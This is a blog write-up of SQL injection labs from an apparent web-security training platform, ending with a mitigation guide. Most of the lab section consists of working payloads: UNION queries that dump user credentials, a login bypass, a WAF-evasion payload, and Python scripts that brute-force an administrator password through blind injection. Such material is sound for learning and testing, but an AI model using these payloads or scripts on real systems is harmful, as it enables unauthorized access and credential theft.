Post

SQLi

SQLi

sqli

Intro

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It happens when user input is not properly sanitized and is directly included in SQL statements.

Could be used to:

  • Bypass authentication
  • Read sensitive data (e.g., credit card numbers, emails)
  • Modify/delete data
  • Execute admin operations on the DB
  • Access OS-level commands (in some DBs like MySQL with xp_cmdshell)

Types of SQL Injection

TypeDescriptionExample
Classic/InlineInjected directly in parameters’ OR ‘1’=’1
Blind (Boolean-based)No error/output shown, relies on observing responses’ AND 1=1 –
Time-based BlindUses delay to infer results’ OR IF(1=1, SLEEP(5), 0) –
Error-basedUses DB error messages to extract info’ AND 1=CONVERT(int, (SELECT @@version)) –
Out-of-BandUses external server to exfiltrate data (e.g., via DNS)Rare but dangerous

SQLi labs (Apprentice)

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

  • At first I just commented out release but it didn’t solved the lab so apparently we need all the products using ' or 1=1 --:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Gifts%27+or+1=1--

Lab: SQL injection vulnerability allowing login bypass

1
administrator'--

SQLi labs (Practitioner)

Lab: SQL injection attack, querying the database type and version on Oracle

  • Since we know it is oracle db we need to use table in union but first let’s identify how many columns (starting with ORDER BY 1 - no error, and on 3 we get an error):
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Accessories%27+order+by+3+--
  • So let’s use 2 columns for our union:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Accessories%27+union+select+banner,null+from+v$version+--

Lab: SQL injection UNION attack, determining the number of columns returned by the query

  • Checking how many columns we get (starting with ORDER BY 1 - no error, and on 4 we get an error):
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Accessories%27+order+by+4+--
  • So considering we get 3 columns:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Accessories%27+union+select+null,null,null+--

Lab: SQL injection UNION attack, finding a column containing text

  • First find out how many columns using '+ORDER+BY+1+--, 2, 3, (4 will fail), and next we could try to solve challenge:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Lifestyle%27+union+select+null,%272BrGR0%27,null+--

Lab: SQL injection UNION attack, retrieving data from other tables

1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Lifestyle%27+union+select+username,password+from+users+--

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Some tricks:

  • Oracle 'foo'||'bar'
  • Microsoft 'foo'+'bar'
  • PostgreSQL 'foo'||'bar'
  • MySQL 'foo' 'bar' [Note the space between the two strings], CONCAT('foo','bar')

Example: ' UNION SELECT username || '~' || password FROM users--

1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Corporate+gifts+%27+union+select+null,username+||+%27~%27+||+password+from+users+--

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

  • Key here was the type of db (and we need to use another symbols for a comment)
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Food+%26+Drink+%27+union+select+@@version,%27def%27+--+-

Lab: SQL injection attack, listing the database contents on non-Oracle databases

  • Usefull info: SELECT * FROM information_schema.tables
1
2
3
4
5
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

1
2
3
4
5
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar
  • Getting tables:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Food+%26+Drink+%27+union+select+table_name,%27ts%27+from+information_schema.tables+--+-
  • Getting columns:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Food+%26+Drink+%27+union+select+column_name,%27ts%27+from+information_schema.columns+where+table_name=%27users_owibbo%27+--+-
  • Getting users and passwords:
1
https://<YOUR_LAB>.web-security-academy.net/filter?category=Food+%26+Drink+%27+union+select+password_mikenl,username_ruipll+from+users_owibbo+--+-

Lab: SQL injection attack, listing the database contents on Oracle

  • Let’s got to a home page and send request to repeater:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET / HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: TrackingId=BTUKMeEhhvDFmzhu; session=xKSOPPAs56VTKT6bpSCAb1rabtoAreMS
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<YOUR_LAB>.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

  • Using some tricks we could confirm existance of some tables, confirming Welcome back! is not disapeared - for example:
1
2
3
...
TrackingId=BTUKMeEhhvDFmzhu'+AND+(SELECT+'a'+FROM+USERS+LIMIT+1)='a'--;
...
  • Next - updating TrackingId cookie (like in the theory part):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET / HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: TrackingId=xyz'+AND+SUBSTRING((SELECT+Password+FROM+Users+WHERE+Username+%3d+'administrator'),+1,+1)+>+'z; session=xKSOPPAs56VTKT6bpSCAb1rabtoAreMS
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<YOUR_LAB>.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

  • We could see that Welcome back! is disappeared, so using this we could find password letter by letter:
  • Put our request to intruder, choose cluster-bomb attack, for a first payload choose numbers from 1 to 25 (suppose we have a shorter password), for second one - brute forcer, and next on settings tab, on grep match clear the list and add Welcome back, now we can start:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET / HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: TrackingId=etr8D5oM5eXvzJHM'+AND+SUBSTRING((SELECT+Password+FROM+Users+WHERE+Username+%3d+'administrator'),+§1§,+1)+=+'§2§'--; session=eK5gCdC9nwrt48tgUJ15JaHMkyrL00QR
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<YOUR_LAB>.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

or we will do a python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor


URL = "https://<YOUR_LAB>.web-security-academy.net/"
TRACKING_ID = "etr8D5oM5eXvzJHM"
SESSION_COOKIE = "eK5gCdC9nwrt48tgUJ15JaHMkyrL00QR"
SESSION_INDICATOR = "Welcome"
charset = string.ascii_letters + string.digits
password_length = 20
max_threads = 10

result = [""] * password_length
lock = threading.Lock()

def try_char(position, char):
    injection = f"{TRACKING_ID}'+AND+SUBSTRING((SELECT+Password+FROM+Users+WHERE+Username='administrator'),{position + 1},1)='{char}'--"
    cookies = {
        "TrackingId": injection,
        "session": SESSION_COOKIE
    }

    response = requests.get(URL, cookies=cookies)

    if SESSION_INDICATOR in response.text:
        with lock:
            result[position] = char
            print(f"[+] Found char at pos {position+1}: {char}")

for i in range(password_length):
    print(f"[*] Brute-forcing position {i+1}")
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        futures = [executor.submit(try_char, i, c) for c in charset]

        while not result[i]:
            pass

print(f"\n[✓] Final result: {''.join(result)}")

Lab: Blind SQL injection with conditional errors

  • Pretty similar to previous, but we will use error
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor


URL = "https://<YOUR_LAB>.web-security-academy.net/"
TRACKING_ID = "jBnfoC013ViR3EJQ"
SESSION_COOKIE = "jlyyjhsmxe2r32wppvaopvgegpp9rtap"
STOP_INDICATOR = 500
charset = string.ascii_letters + string.digits
password_length = 20
max_threads = 10

result = [""] * password_length
lock = threading.Lock()

def try_char(position, char):
    injection = f"{TRACKING_ID}' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password,{position + 1},1)='{char}') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE ROWNUM = 1) = 'a"
    cookies = {
        "TrackingId": injection,
        "session": SESSION_COOKIE
    }

    response = requests.get(URL, cookies=cookies)

    if STOP_INDICATOR == response.status_code:
        with lock:
            result[position] = char
            print(f"[+] Found char at pos {position+1}: {char}")

for i in range(password_length):
    print(f"[*] Brute-forcing position {i+1}")
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        futures = [executor.submit(try_char, i, c) for c in charset]

        while not result[i]:
            pass

print(f"\n[✓] Final result: {''.join(result)}")

Lab: Visible error-based SQL injection

  • Casting to a int/char could leed to information leak:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET / HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--; session=QY9I2EVaMVd99kcRNQvc6nIEFJ1c5CHQ
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: SomeAgent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<YOUR_LAB>.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: Blind SQL injection with time delays

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET / HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: TrackingId=a' || pg_sleep(5)--; session=wXIvQUqVN5iv9IcN0le6LagUwbTt068n
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: SomeAgent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<YOUR_LAB>.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: Blind SQL injection with time delays and information retrieval

  • Base from theory: '; IF (1=2) WAITFOR DELAY '0:0:10'--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string
import threading
import time
from concurrent.futures import ThreadPoolExecutor

# Target config
URL = "https://<YOUR_LAB>.web-security-academy.net/"
TRACKING_ID = "a"
SESSION_COOKIE = "kdbx9rmEI120DP4F5uYFHulms6TI6xSn"
DELAY_THRESHOLD = 8   # seconds (tweak if network is slow)
DELAY_TIME = 10
charset = string.ascii_letters + string.digits
password_length = 20
max_threads = 20

result = [""] * password_length
lock = threading.Lock()

def try_char(position, char):
    injection = (
        f"{TRACKING_ID}'%3b "
        f"SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password,{position + 1},1)='{char}') "
        f"THEN pg_sleep({DELAY_TIME}) ELSE pg_sleep(0) END FROM users --"
    )

    cookies = {
        "TrackingId": injection,
        "session": SESSION_COOKIE
    }

    start_time = time.time()
    requests.get(URL, cookies=cookies)
    elapsed = time.time() - start_time

    if elapsed > DELAY_THRESHOLD:
        with lock:
            result[position] = char
            print(f"[+] Found char at pos {position+1}: {char}")

for i in range(password_length):
    print(f"[*] Brute-forcing position {i+1}")
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        futures = [executor.submit(try_char, i, c) for c in charset]

        while not result[i]:
            pass  # spinlock

print(f"\n[✓] Final result: {''.join(result)}")

Lab: SQL injection with filter bypass via XML encoding

  • After trying regular SQLi we see that our attack is detected which means that some WAF is blocking our requests, so here we could use a Hackverter to encode a payload and bypass WAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /product/stock HTTP/2
Host: <YOUR_LAB>.web-security-academy.net
Cookie: session=MgaYyQ8vBYclMnJmLI0LkAiJpq1hhzI9
Content-Length: 190
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Origin: https://<YOUR_LAB>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<YOUR_LAB>.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId><@hex_entities>1 UNION SELECT username || '=' || password FROM users</@hex_entities></storeId>
</stockCheck>

SQLi mitigation

1. Use Parameterized Queries (Prepared Statements) Never concatenate user input into SQL strings. Instead, use placeholders.

1
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
1
2
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

2. Use ORM (Object-Relational Mapping) Libraries Frameworks like Django ORM, SQLAlchemy (Python), Hibernate (Java), and Entity Framework (C#) abstract SQL and help prevent injection.

3. Input Validation and Whitelisting Validate user inputs based on type, format, and length. Use whitelists, not blacklists. exp: expect integers? Enforce isnumeric() check, expect email? Use proper regex/email validation.

4. Limit DB Privileges Use least privilege principle:

  • A web app shouldn’t connect as root or admin.
  • Restrict the account to only necessary tables/queries (e.g., SELECT, no DROP).

5. Stored Procedures (with caution) Stored procedures can reduce risk if they don’t build SQL dynamically with user input. Still use parameter binding inside them.

6. Web Application Firewall (WAF) Deploy a WAF to block common SQL injection patterns. Tools like ModSecurity can provide a layer of protection.

7. Error Handling Don’t expose raw SQL errors to the user. Use generic error messages and log detailed info on the server side.

8. Regular Security Testing Use tools like:

  • sqlmap for testing
  • Burp Suite for manual fuzzing
  • Static code analysis for insecure code patterns
This post is licensed under CC BY 4.0 by the author.